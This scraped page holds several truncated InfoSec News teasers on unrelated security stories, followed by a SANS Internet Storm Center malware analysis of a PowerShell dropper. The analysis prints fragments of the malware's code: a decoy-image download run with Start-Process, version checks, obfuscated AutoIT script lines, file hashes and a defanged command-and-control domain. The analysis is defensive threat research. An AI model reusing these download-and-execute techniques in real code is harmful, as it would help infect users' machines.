Posted by InfoSec News on Oct 23

By Liana B. Baker, Carl O'Donnell
OCTOBER 19, 2018

NEW YORK/SAN FRANCISCO (Reuters) - Cybersecurity software maker
CrowdStrike Inc has hired investment bank Goldman Sachs Group to prepare
for an initial public offering that could come in the first half of next
year, people familiar with the...

Posted by InfoSec News on Oct 23

By Susan Morse
Senior Editor
Healthcare Finance
October 22, 2018

Particularly for smaller hospitals and medical groups, hiring a full-time
chief information security officer can be a stretch of the budget and
resources. But patient data must still be protected because smaller
organizations face many of the same risks larger systems do.


Posted by InfoSec News on Oct 23

OCT 21, 2018

Come in and sit down at Anita Parsa's kitchen table. Help yourself to the
chocolate chip cookies and she'll get you an iced tea. Might as well make
yourself comfortable.

Because for the next hour, she's going to school you on a massive
voter-tracking program run by Kansas Secretary of State...

Posted by InfoSec News on Oct 23

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October 22nd, 2018

Tesla vehicles are jam-packed with advanced technologies and stringent
security measures, but the cars still aren't 100% safe from crafty thieves
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England, albeit with a...

Posted by InfoSec News on Oct 23

[I'm sure you will see some parallels between the physical security issues
here, and many security issues on the enterprise. - WK]

By CWB Chicago Staff
October 22, 2018

The operators of Chicago's Divvy bike share program have conducted their
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I found another interesting piece of malicious Powershell while hunting. The file size is 1.3MB and most of the file is a PE file Base64 encoded. You can immediately detect it by checking the first characters of the string:


“TVqQAA” indicates a PE file! Often, people think that Powershell must be heavily obfuscated to bypass antivirus engines. This is not always the case! The SHA256 hash is 53e954a7d36706d1f4951ca04b151055ded332e681a672e13e6cab634d74783d and the current VT score is only 3/56[1].

A first interesting feature is the Powershell detection to make the script run on multiple versions of Windows:

$osCheckMajor = [System.Environment]::OSVersion.Version | Select -Expand Major;$osCheckMinor = [System.Environment]::OSVersion.Version | Select -Expand Minor;
$osVersion = "$osCheckMajor" + '.' + "$osCheckMinor";
$poshVersion = $PSVersionTable.PSVersion.Major;

But, what’s also interesting is the use of a decoy picture. The script downloads a fake invoice from an Amazon S3 bucket:

It displays it using the Start-Process cmdlet:

$decoyName = "$randomStr" + '.jpg';
$decoyURL = 'hxxp://[.]com/qeeqq/guru.jpg';
$decoyPath = "$env:APPDATA" + '\' + "$decoyName";
$webClient = New-Object System.Net.WebClient;
$webDownload = $webClient.DownloadFile($decoyURL, $decoyPath);
Start-Process $decoyPath;

What is interesting here, if you specify a non-executable file, Start-Process starts the program that is associated with the file, similar to the Invoke-Item cmdlet. So, the victim will see the picture using his/her preferred viewer! In the background, the executable is decoded and executed (SHA256:0e4c61741e81b3fa08df0622419fee5d350a67687fac76249b57eed89e129707 - VT score: 0). It drops a standard AutoIT3.exe file on disk into %APPDATA% and the corresponding script (SHA256:d5a8cdc7ae6a49233ee021a39f12ef61c630202f68edc3a7d64fd1b616704d8d - VT score: 0). The AutoIT script is obfuscated but not protected:

$ head -20 d5a8cdc7ae6a49233ee021a39f12ef61c630202f68edc3a7d64fd1b616704d8d.bad
Global Const $4063A0C69862A72A9 = 0x1
Global Const $53675A741B726EAC88522D14B9F334E1 = 24
Global Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000
Global Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004
Global Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002
Global Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001
Global Const $B939F5E560A162C57C19FFD63367B64E = 1
Global Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001
Global Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002
Global Const $AC23469B485C91685E66323634795BB3 = 0x00008003
Global Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004
Global Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603
Global Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e
Global Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f
Global Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610
Global Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601
Global Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602
Global Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801
Global Const $1295974546E6E9CA72B1205FD83C6F10 = 0

The initial PE file drops also a bunch of files:

Those files contain configuration data used by the AutoIT script. Example, the file 'qut.docx' contains obfuscated data:

$ head -20 qut.docx.bad

In the AutoIT script, we can find:

$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & "\qut.docx"
$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, "Setting", "Dir", '')
$9355FBBA246C8217C04EE3075C218909 = @TempDir & "\" & $989BD8DF7434150DDDCC4E3AF84571E3
Func _S0x325952AE1C47E8F062A74927A1DBE55B()
    $39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, "Setting", "msg", '')
    If $39EE801D7E22D21808919DD1A991F950 <> '' Then
    $4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, "Setting", "_S0x20057179D673181B71D4593BFB2A0450", '')
    If $4FE9C92D9445918D1759387A12138EA3 <> '' Then

The AutoIT script tries to contact xzit007[.]ddns[.]net (a DNS sinkhole is already in place) but I found 32 entries in passive DNS.

I'm still busy to analyze the script but does it ring a bell to you? Please share if you recognize this behaviour!


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
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